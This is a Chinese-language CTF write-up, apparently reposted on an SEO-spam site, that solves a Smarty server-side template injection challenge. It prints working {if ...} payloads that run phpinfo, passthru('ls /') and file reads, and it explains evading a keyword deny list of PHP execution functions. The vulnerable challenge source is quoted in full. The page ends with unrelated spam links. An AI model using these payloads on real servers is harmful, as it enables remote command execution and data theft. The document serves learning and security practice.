当前位置: 首页 > news >正文

内部劵淘网站怎么做seo标签优化方法

内部劵淘网站怎么做,seo标签优化方法,辽宁鞍山建设工程信息网站,青岛seo排名扣费pass a parameter and maybe the flag files filename is random :> 传递一个参数,可能标记文件的文件名是随机的: 于是传一下参,在原网页后面加上/?a1,发现网页出现了变化 3.传入参数,一般情况下是文件包含,或者命令执行&…

pass a parameter and maybe the flag file's filename is random :>

传递一个参数,可能标记文件的文件名是随机的:

于是传一下参,在原网页后面加上/?a=1,发现网页出现了变化

3.传入参数,一般情况下是文件包含,或者命令执行,而这道题目比较新颖,使用的是php模板注入

4.根据测试2*4=8,确定是smarty模板注入

测试phpinfo()函数

http://114.67.246.176:18387/?a={if phpinfo()}{/if}

 

5.真的是百密一疏,过滤了好多的函数,好在没有把passthru()函数过滤

http://114.67.246.176:18387/?a={if passthru("ls /")}{/if}

 

6.没有发现flag,但是发现_12016文件,直接读一波,cat被过滤了,我是用的是more

http://114.67.246.176:18387/?a={if passthru("more /_12016 ")}{/if}

 

得到flag

二、知识点

1. 常用payload
smary中的{if}标签中可以执行的php语句

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}

 

2.passthru()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
passthru — 执行外部程序并且显示原始输出

语法:

 passthru(string $command, int &$return_var = ?): void

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

3.cat绕过
可以使用其他函数如:less、more、tac

4.system|readfile|gz|exec|eval|cat|assert|file|fgets

  1. system: PHP中的system函数用于执行命令行命令,并可返回命令的输出。如果允许用户输入传递给system,可能会允许攻击者执行任意命令。

  2. readfile: readfile函数用于输出一个文件的内容。如果用户可以控制该函数的参数,他们可能会读取服务器上的敏感文件。

  3. gz: 这可能指的是与gz相关的函数,如gzopengzread等,用于处理GZIP压缩文件。如果不当使用,可能会引发安全问题。

  4. exec: 类似于systemexec函数用于执行外部程序,并且可以提供更多的输出控制。这同样可以被用来执行恶意命令。

  5. eval: eval函数执行字符串作为PHP代码。这是极其危险的,因为它允许执行任意PHP代码。

  6. cat: 在Unix/Linux系统中,cat命令用于连接文件并打印到标准输出设备。在PHP中,没有内置的cat函数,但攻击者可能会尝试利用它来读取文件。

  7. assert: PHP中的assert函数用于评估一个表达式,并在表达式结果为FALSE时终止脚本执行。然而,如果assert被用来执行外部代码,它可能会成为一个安全漏洞。

  8. file: 可能指的是file_get_contents函数,它用于读取文件或URL内容。如果用户可以控制这个函数的参数,他们可能会读取服务器上的敏感文件。

  9. fgets: fgets函数用于从文件指针中读取一行。如果用户可以控制文件指针的来源,他们可能会读取未授权的内容。

代码审计:

pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php'); #文件包含
echo "pass a parameter and maybe the flag file's filename is random :>";   #无需审计
$smarty = new Smarty();   #smarty引入,实例化 Smarty 模板引擎的一个新对象
if($_GET){highlight_file('index.php'); #高亮文字foreach ($_GET AS $key => $value) #foreach方法,将get的值传给value
#foreach:PHP中的一个循环控制结构,用于遍历数组中的每个元素。
#$_GET:一个超全局数组,包含了所有通过GET请求方法(即在URL中附加的参数)传递给当前脚本的参数。
#AS:关键字,用于在foreach循环中指定数组元素的键($key)和值($value)。
#$key:循环中数组元素的键(参数名)。
#$value:循环中数组元素的值(参数值{print $key."\n";if(preg_match("/flag|\/flag/i", $value)){ #对value的值进行正则匹配$smarty->display('./template.html');#    $smarty:这是之前通过 new Smarty(); 创建的 Smarty 对象的实例。
#    ->:在 PHP 中,这个符号用来调用对象的方法或访问对象的属性。
#    display:这是 Smarty 对象的一个方法,用于将指定的模板文件呈现(渲染)为输出。
#    './template.html':这是传递给 display 方法的参数,指定了模板文件的路径。这里的 ./ 表示当前目录,template.html 是模板文件的名称。}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){  #对value的值进行正则匹配$smarty->display('./template.html');            }else{$smarty->display("eval:".$value);}}
}
?> 

                       
原文链接:https://blog.csdn.net/m_de_g/article/details/120380488

https://baijiahao.baidu.com/s?id=1698341051395357077&wfr=spider&for=pc

http://www.yidumall.com/news/108814.html

相关文章:

  • 网站怎么做才程序员培训机构排名
  • 如何将网站提交给谷歌怎么看百度关键词的搜索量
  • 大连做网站优化哪家好网站免费软件
  • 传媒公司网站设计产品推广软件有哪些
  • 做外贸维护网站需要注意什么如何打百度人工电话
  • l网站建设网页友情链接
  • 潍坊高端网站建设公司考研培训班集训营
  • 宝鸡免费做网站百度最新版本2022
  • 杭州公司注册代办一般多少钱福州百度推广排名优化
  • 如何更换网站模板seo搜索引擎是什么意思
  • 深圳招聘一般在哪个网站ios微信上的pdf乱码
  • wordpress要多少内存seo关键词怎么填
  • wordpress临时维护百度网站排名seo
  • 网站html地图制作百度如何精准搜索
  • 沈阳工程建设监理咨询淄博网站seo
  • 做cpc不做网站可以吗seo是干啥的
  • 怎么做网站关键词排名百度推广合作
  • 建设银行安徽 招聘网站昆明优化网站公司
  • 做视频网站公司要怎么做的seo站长工具是什么
  • 营销型网站及原因有哪些方面成都新一轮疫情
  • 打码兔怎么和网站做接口关键词排名优化工具有用吗
  • 做网站有自己的服务器爱战网官网
  • 汕头建设有限公司百度seo关键词排名优化工具
  • 建筑网红化网站关键字优化技巧
  • 免费开商城网站吗搭建网站的步骤和顺序
  • 西安 餐饮 网站建设微信怎么做推广
  • 有了域名 怎么做网站无锡网站优化公司
  • 做网站客服维护电话怎么打就在刚刚武汉宣布最新消息
  • 网站开发平台及常用的开发工具人工智能培训
  • 免费网站建设专业服务平台百度指数官网首页